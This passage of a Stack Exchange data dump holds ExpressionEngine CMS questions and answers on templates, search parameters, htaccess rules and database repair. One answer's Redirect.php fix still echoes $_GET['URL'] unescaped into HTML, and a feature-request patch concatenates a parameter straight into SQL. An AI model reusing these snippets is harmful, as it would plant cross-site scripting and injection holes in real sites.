missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="2549" LastEditorUserId="2549" LastEditDate="2013-12-30T22:31:31.780" LastActivityDate="2014-03-31T00:08:32.687" Title="Nested lists with Stash, Playa, and Channel Videos" Tags="|playa|stash|channel-videos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17988" PostTypeId="2" ParentId="17987" CreationDate="2013-12-30T19:38:26.893" Score="0" Body="&lt;p&gt;First you will need to close the  {event_video} tag. (/) Why are you using Stash? (early parsing?)&lt;/p&gt;&#xA;" OwnerUserId="552" LastActivityDate="2013-12-30T19:38:26.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17989" PostTypeId="1" CreationDate="2013-12-30T19:47:29.640" Score="1" ViewCount="65" Body="&lt;p&gt;I've got a reply from EllisLab on a feature request, they only want to implement the feature request, when enough of you request the feature, here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The search module is an all the way show_future_entries = yes or no. However, i have only one event channel for which i like to enable future_entries, &#xA;the following couple of lines enables a &quot;future_entry_channels&quot; parameter that enables to set channels that allow future entries, instead of a general show_future_entries=yes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*This would enable a future_entry_channels=&quot;7|3&quot; parameter for channels that you want to allow search into future entries, please add a comment with +1.*&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// ~ line 336 add a parameter&#xA;'future_entry_channels' =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('future_entry_channels',''),&#xA;&#xA;// ~ line 664 replace/extend show_future_entries conditional&#xA;if ( ! isset($this-&amp;gt;_meta['show_future_entries']) OR $this-&amp;gt;_meta['show_future_entries'] != 'yes')&#xA;{&#xA;    // Future entries for some channels, like event-channels&#xA;    $future_entry_channels = $this-&amp;gt;_meta['future_entry_channels'];&#xA;&#xA;    if(empty($future_entry_channels))&#xA;    {&#xA;         // regular show_future_entries=&quot;no&quot;&#xA;         $sql .= &quot;\nAND exp_channel_titles.entry_date &amp;lt; &quot;.ee()-&amp;gt;localize-&amp;gt;now.&quot; &quot;;&#xA;    }&#xA;    else&#xA;    {&#xA;        // allow some channels to have future entries&#xA;        $future_entry_channels = explode('|', $future_entry_channels);&#xA;&#xA;        $sql .= &quot;\nAND (exp_channel_titles.entry_date &amp;lt; &quot;.ee()-&amp;gt;localize-&amp;gt;now.&quot; OR exp_channel_titles.channel_id IN(&quot;.implode(',', $future_entry_channels).&quot;) ) &quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2013-12-30T19:57:26.243" LastActivityDate="2013-12-31T08:55:22.280" Title="Call for support for Feature request: Search Module parameter: future_entry_channels" Tags="|feature-request|" AnswerCount="1" CommentCount="2" ClosedDate="2014-01-02T07:18:07.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="17990" PostTypeId="2" ParentId="17794" CreationDate="2013-12-30T19:49:17.927" Score="4" Body="&lt;p&gt;According to the bug reported by Mark Drzycimski, for those who don't have an Ellislab account, the solution is listed as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In /system/expressionengine/libraries/Redirect.php on line 50, change:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;&amp;lt;p&amp;gt;&amp;lt;a href='&quot;.$_GET['URL'].&quot;'&amp;gt;&quot;.$_GET['URL'].&quot;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;\n&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;&amp;lt;p&amp;gt;&amp;lt;a href='&quot;.$_GET['URL'].&quot;' rel='nofollow'&amp;gt;&quot;.$_GET['URL'].&quot;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;\n&amp;lt;/body&amp;gt;\n&amp;lt;/html&amp;gt;&quot;;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2013-12-30T19:49:17.927" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17992" PostTypeId="1" CreationDate="2013-12-30T20:09:43.170" Score="1" ViewCount="150" Body="&lt;p&gt;I used the google map styling wizard to generate this JSON frag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[ { &quot;featureType&quot;: &quot;road.highway&quot;, &quot;stylers&quot;: [ { &quot;visibility&quot;: &quot;on&quot; } ] },{ &quot;featureType&quot;: &quot;road.local&quot;, &quot;stylers&quot;: [ { &quot;visibility&quot;: &quot;on&quot; } ] },{ &quot;featureType&quot;: &quot;road.arterial&quot;, &quot;stylers&quot;: [ { &quot;visibility&quot;: &quot;on&quot; } ] } ]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I have no idea what to do with it. Where do I put this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Greg&lt;/p&gt;&#xA;" OwnerUserId="2382" LastActivityDate="2014-01-31T22:19:17.677" Title="Google Maps for EE, map syles and JSON" Tags="|google-maps|json|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17993" PostTypeId="2" ParentId="17986" CreationDate="2013-12-30T20:39:30.437" Score="3" Body="&lt;p&gt;Your best bet would be to attempt to repair the table via a database management utility outside of the EE control panel. Does your web host offer anything like a PHPMyAdmin interface, or do you have any experience with standalone MySQL clients like &lt;a href=&quot;http://www.sequelpro.com/&quot; rel=&quot;nofollow&quot;&gt;Sequel Pro&lt;/a&gt;? Those utilities should expose table repair functionality. I'd start there first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you proceed beyond this point, I probably cannot emphasize enough that you &lt;strong&gt;back up your database&lt;/strong&gt;. If you don't know how to do this, ask. The following could potentially further complicate the issue, and it would be best if you had a semi-safe point to roll back to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you could modify the following script with your database credentials, upload it to your server, and execute it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;// Taking the information in brackets from your /system/expressionengine/config/database.php&#xA;&#xA;$db_con = mysql_connect('[YOUR DB HOSTNAME]', '[YOUR DB USERNAME]', '[YOUR DB PASSWORD]');&#xA;mysql_select_db('[YOUR DATABASE NAME]',$db_con);&#xA;&#xA;$q_result = mysql_query('REPAIR TABLE exp_cartthrob_cart');&#xA;&#xA;if ( ! $q_result )&#xA;{&#xA;    die('Total failure. I recommend panic.');&#xA;} else {&#xA;    echo mysql_result($q_result,0) . ' has been repaired.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="445" LastActivityDate="2013-12-30T20:39:30.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17995" PostTypeId="2" ParentId="17987" CreationDate="2013-12-30T21:41:09.657" Score="1" Body="&lt;p&gt;When you're setting the an_event list you didn't set a stash variable called entry_id, although you're trying to use that variable for the context parameter when you're outputting  with get_list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you might want to set the variable (using a slightly different name than the default ee variable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;{stash:title}{title}{/stash:title}&#xA;{stash:e_id}{entry_id}{/stash:e_id}&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when outputting the list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;... context=&quot;{e_id}&quot; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There may be more issues, but try that.&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-30T21:41:09.657" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17996" PostTypeId="1" CreationDate="2013-12-31T00:02:04.193" Score="0" ViewCount="114" Body="&lt;p&gt;Getting the blank page of death with pagination links and full article links. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the page I'm working on: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;inc/.header.doc-open&quot;}&#xA;{embed=&quot;inc/.header.nav-blog&quot;}&#xA;&amp;lt;div class=&quot;blog-section clearfix general tan-bg&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;clearfix&quot;&amp;gt;&#xA;&#xA;{exp:channel:entries channel=&quot;blog_entry|blog_link|blog_photo|blog_quote|blog_video&quot; limit=&quot;2&quot; paginate=&quot;bottom&quot; orderby=&quot;date&quot;}&#xA;    {paginate}&#xA;        &amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;    {/paginate}&#xA;  {if channel_short_name == 'blog_link'}&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end .wrapper --&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;link blog-entry&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{blog_link_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;      &amp;lt;p&amp;gt;{blog_link_description}&amp;lt;/p&amp;gt;&#xA;&#xA;      &amp;lt;span class=&quot;date&quot;&amp;gt;Posted on &amp;lt;strong&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end .link --&amp;gt;&#xA;&#xA;  {if:elseif channel_short_name == 'blog_quote'}&#xA;  &amp;lt;div class=&quot;quote blog-entry&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{blog_quote_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;      &amp;lt;blockquote&amp;gt;{blog_quote}&amp;lt;/blockquote&amp;gt;&#xA;&#xA;      &amp;lt;span class=&quot;source&quot;&amp;gt;&amp;lt;a href=&quot;{blog_quote_url}&quot;&amp;gt;{blog_quote_source}&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;      &amp;lt;p&amp;gt;{blog_quote_description}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;span class=&quot;date&quot;&amp;gt;Posted on &amp;lt;strong&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end .quote --&amp;gt;&#xA;  {if:elseif channel_short_name == 'blog_entry'}&#xA;  &amp;lt;div class=&quot;entry blog-entry&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;      &amp;lt;span class=&quot;author&quot;&amp;gt;Written by &amp;lt;strong&amp;gt;{author}&amp;lt;/strong&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;      &amp;lt;p&amp;gt;{blog_entry_summary} &amp;lt;span&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;Read&amp;amp;nbsp;More&amp;amp;hellip;&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;      &amp;lt;span class=&quot;date&quot;&amp;gt;Posted on &amp;lt;strong&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end .entry --&amp;gt;&#xA;  {if:elseif channel_short_name == 'blog_photo'}&#xA;  &amp;lt;div class=&quot;photo blog-entry&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;      &amp;lt;img src=&quot;{blog_photo_upload}&quot; alt=&quot;&quot; /&amp;gt;&#xA;      &amp;lt;p&amp;gt;{blog_photo_description}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;span class=&quot;date&quot;&amp;gt;Posted on &amp;lt;strong&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end .photo --&amp;gt;&#xA;  {if:elseif channel_short_name == 'blog_video'}&#xA;  &amp;lt;div class=&quot;video blog-entry&quot;&amp;gt;&#xA;&#xA;      &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{blog_video_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;      &amp;lt;div class=&quot;video-container blog-entry&quot;&amp;gt;&#xA;          &amp;lt;!-- start of embed code --&amp;gt;&#xA;          {blog_video_embed}&#xA;          &amp;lt;!-- end of embed code --&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;p&amp;gt;{blog_video_description}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;span class=&quot;date&quot;&amp;gt;Posted on &amp;lt;strong&amp;gt;{entry_date format=&quot;%F %j, %Y&quot;}&amp;lt;/strong&amp;gt;&amp;amp;nbsp;&amp;amp;nbsp;|&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;a href=&quot;{title_permalink=&quot;blog&quot;}&quot;&amp;gt;Permalink&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- end .video --&amp;gt;&#xA;  {/if}&#xA;{/exp:channel:entries} &#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- end .content-section --&amp;gt;&#xA;&#xA;{embed=&quot;inc/.footer.doc-close&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? I'm sure I'm making a very basic mistake... I've never attacked this type of functionality with an EECMS site. &lt;/p&gt;&#xA;" OwnerUserId="2548" LastEditorUserId="1326" LastEditDate="2013-12-31T04:02:28.353" LastActivityDate="2014-01-02T18:52:26.163" Title="Blank page of death with pagination and blog article link" Tags="|ee2|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17997" PostTypeId="1" CreationDate="2013-12-31T06:40:00.247" Score="0" ViewCount="88" Body="&lt;p&gt;I would like a channel form return path to open in a new window upon submission. Is there any way to do this?  Below is the template code I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projects&quot; entry_id=&quot;{last_segment}&quot; limit=&quot;1&quot;}&#xA;                        &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                        &amp;lt;ul class=&quot;buttons&quot;&amp;gt;&#xA;                            {project_proof orderby=&quot;row_id&quot; sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;                                &amp;lt;li&amp;gt;&#xA;                                    {exp:channel:form&#xA;                                        channel=&quot;projects&quot;&#xA;                                        entry_id=&quot;{last_segment}&quot;&#xA;                                        return=&quot;images/uploads/proofs/{proof_file:filename}.{proof_file:extension}&quot;&#xA;                                        orderby=&quot;row_id&quot;&#xA;                                        sort=&quot;desc&quot;&#xA;                                        limit=&quot;1&quot;&#xA;                                        target=&quot;_blank&quot;&#xA;                                    }&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_77[row_order][]&quot; value=&quot;row_id_{row_id}&quot; /&amp;gt;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_77[row_id_{row_id}][col_id_19]&quot; value=&quot;{current_time format='%F %d, %Y - %g:%i:%s'}&quot; /&amp;gt;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_77[row_id_{row_id}][col_id_15]&quot; value=&quot;{proof_date}&quot; /&amp;gt;&#xA;                                    &amp;lt;input type=&quot;hidden&quot; name=&quot;field_id_77[row_id_{row_id}][col_id_18]&quot; value=&quot;{proof_notes}&quot; /&amp;gt;&#xA;                                    &amp;lt;button class=&quot;button&quot; type=&quot;submit&quot;&amp;gt;View details&amp;lt;/button&amp;gt;&#xA;                                    {/exp:channel:form}&#xA;                                &amp;lt;/li&amp;gt;&#xA;&#xA;                                &amp;lt;li&amp;gt;&amp;lt;a class=&quot;button&quot; id=&quot;submitChanges&quot;&amp;gt;Submit changes&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/project_proof}&#xA;                        {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically it returns an image so I want to have that image either open in a new window or download.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="804" LastEditorUserId="804" LastEditDate="2014-01-01T22:13:22.747" LastActivityDate="2014-01-01T22:13:22.747" Title="Channel Form return to new window" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17998" PostTypeId="2" ParentId="17997" CreationDate="2013-12-31T08:47:37.933" Score="2" Body="&lt;p&gt;This is a job for JavaScript. Here's a thread over at the main Stack Exchange questions forum which may be useful:- &lt;a href=&quot;https://stackoverflow.com/questions/3825078/jquery-post-response-in-new-window&quot;&gt;https://stackoverflow.com/questions/3825078/jquery-post-response-in-new-window&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-31T08:47:37.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17999" PostTypeId="2" ParentId="17989" CreationDate="2013-12-31T08:55:22.280" Score="1" Body="&lt;p&gt;It does make sense, but seems just a bit too niche to be in core for me. How about you take your code and make it a wrapper for the core search and distribute it on Devot-ee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adrian Macneil has shared some code of how he wrapped the Channel Entries module in his own plugin and would be a good starting point: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/5796/96&quot;&gt;https://expressionengine.stackexchange.com/a/5796/96&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;TLDR: Yes to the feature. No for it being in core.&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-12-31T08:55:22.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18000" PostTypeId="2" ParentId="17580" CreationDate="2013-12-31T09:07:01.897" Score="2" Body="&lt;p&gt;Firstly I think you should rename &lt;code&gt;admin.php&lt;/code&gt; to something else, in line with the Post-Installation Best Practices which can be read at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/installation/best_practices.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would go for a sub-folder, and rename it something obscure like &lt;code&gt;/badgers/index.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In turn, this would make your htaccess file easier because you can now have different rules for that sub-folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also uninstall the &lt;em&gt;HTTPS Support&lt;/em&gt; module, it makes the entire site encrypted and not just admin and so it's not quite right for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am unable to test this because I'm on a silly Chromebook right now, but this may work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;            RewriteEngine On&#xA;            RewriteBase /&#xA;&#xA;            # Make visits to /badger/ HTTPS&#xA;            RewriteCond %{HTTPS} !=on&#xA;            RewriteCond %{THE_REQUEST} ^[A-Z]+\s/badger [NC]&#xA;            RewriteRule ^(badger) https://%{HTTP_HOST}%{REQUEST_URI} [NC,R=301,L]&#xA;&#xA;            # Make standard visits HTTP&#xA;            RewriteCond %{HTTPS} =on&#xA;            RewriteCond %{THE_REQUEST} !^[A-Z]+\s/badger [NC]&#xA;            RewriteRule !^badger http://%{HTTP_HOST}%{REQUEST_URI} [NC,R=301,L]&#xA;&#xA;            # Removes index.php from ExpressionEngine URLs&#xA;            RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;            RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;            RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;            # Directs all EE web requests through the site index file&#xA;            RewriteCond %{REQUEST_FILENAME} !-f&#xA;            RewriteCond %{REQUEST_FILENAME} !-d&#xA;            RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;HTACCESS adapted from EllisLab's (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;) and this Stack Exchange (&lt;a href=&quot;https://stackoverflow.com/questions/3307025/force-https-on-certain-urls-and-force-http-for-all-others&quot;&gt;https://stackoverflow.com/questions/3307025/force-https-on-certain-urls-and-force-http-for-all-others&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-12-31T09:07:01.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18002" PostTypeId="1" CreationDate="2013-12-31T11:29:52.917" Score="1" ViewCount="198" Body="&lt;p&gt;I upgraded my Expression Engine installation to 2.7.3 (from 2.3.1). But after upgrading I get an error when trying to view the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error&#xA;&#xA;Unable to load requested field type file: ft.relationship.php.&#xA;&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that there is a expressionengine/fieldtypes/relationship/ft.relationship.php and if I go to the admin page I see a field type as being installed there (As “Relationships Version 1.0”).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is EE giving me an error at that point?&lt;/p&gt;&#xA;" OwnerUserId="2553" LastActivityDate="2014-03-31T19:08:33.780" Title="Unable to load requested field type file: ft.relationship.php. after updating" Tags="|ee2-upgrades|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18004" PostTypeId="2" ParentId="18002" CreationDate="2013-12-31T17:44:34.797" Score="1" Body="&lt;p&gt;Per the EE 2.7.3 docs found &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Changed in version 2.6: Relationships was completely rewritten for this version, adding the ability to create multiple relationships for each entry and introducing a friendly new tag syntax. The template tags described here are not compatible with previous versions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The foundation of Relationships is very different in the new version, so I would guess that you need an update to which ever third party add-on you're using.&lt;/p&gt;&#xA;" OwnerUserId="1960" LastActivityDate="2013-12-31T17:44:34.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18005" PostTypeId="1" CreationDate="2013-12-31T18:48:10.923" Score="2" ViewCount="47" Body="&lt;p&gt;the goal:&lt;br&gt;&#xA;-show the remainder of the current month's events always&lt;br&gt;&#xA;-when end of month is near (after the 18th, for example), also show the upcoming month's events  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is what i have presently, which works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {current_time format=&quot;%d&quot;} &amp;gt; 18}  &#xA;  {exp:calendar:cal calendar_id=&quot;5057&quot; date_range_start=&quot;today&quot; show_months=&quot;2&quot; pad_short_weeks=&quot;n&quot;}&#xA;{if:else}&#xA;  {exp:calendar:cal calendar_id=&quot;5057&quot; date_range_start=&quot;today&quot; show_months=&quot;1&quot; pad_short_weeks=&quot;n&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;however, it's not terribly efficient, when all i really want to do is toggle the show_months=&quot;1&quot; to &quot;2&quot; -- and the template doesn't like that i have two opened {exp} and only one closed {/exp}  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thought i could get away with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show_months=&quot;{if {current_time format=&quot;%d&quot;} &amp;gt; 18}2{if:else}1{/if}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that just fails silently. any tips?&lt;/p&gt;&#xA;" OwnerUserId="2037" LastActivityDate="2014-01-02T17:36:45.300" Title="calendar, more efficient code" Tags="|variable|calendar|themes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18006" PostTypeId="2" ParentId="18005" CreationDate="2013-12-31T19:12:45.957" Score="1" Body="&lt;p&gt;This doesn't works because this conditional &lt;a href=&quot;http://johndwells.com/blog/when-a-simple-conditional-isnt&quot; rel=&quot;nofollow&quot;&gt;isn't a simple one&lt;/a&gt;, so the template parser tries to parse the &lt;code&gt;exp:calendar:cal&lt;/code&gt; before the conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple conditionals looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if foo == &quot;bar&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They are parsed before at the stage 13 on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;Rendering stages&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else are advanced conditionals, parsed at stage 18.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, &lt;code&gt;{if {current_time format=&quot;%d&quot;} &amp;gt; 18}[...]{if:else}[...]{/if}&lt;/code&gt; and &lt;code&gt;{if {current_time format=&quot;%d&quot;} &amp;gt; &quot;18&quot;}[...]{/if} {if {current_time format=&quot;%d&quot;} &amp;lt; &quot;19&quot;}[...]{/if}&lt;/code&gt; looks like the same, but, for the EECMS template engine, they aren't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal calendar_id=&quot;5057&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    {if {current_time format=&quot;%d&quot;} &amp;gt; &quot;18&quot;}  &#xA;        show_months=&quot;2&quot;&#xA;    {/if}&#xA;    {if {current_time format=&quot;%d&quot;} &amp;lt; &quot;19&quot;}  &#xA;        show_months=&quot;1&quot;&#xA;    {/if}&#xA;    pad_short_weeks=&quot;n&quot;&#xA;    parse=&quot;inward&quot;&#xA;}&#xA;    [...]&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I never tried to use a &lt;code&gt;string&lt;/code&gt; after a &lt;code&gt;&amp;gt;&lt;/code&gt;, but I can't test now. Please, test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;EECMS parsing order&lt;/a&gt; to understand better what is happening.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-01-02T17:36:45.300" LastActivityDate="2014-01-02T17:36:45.300" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
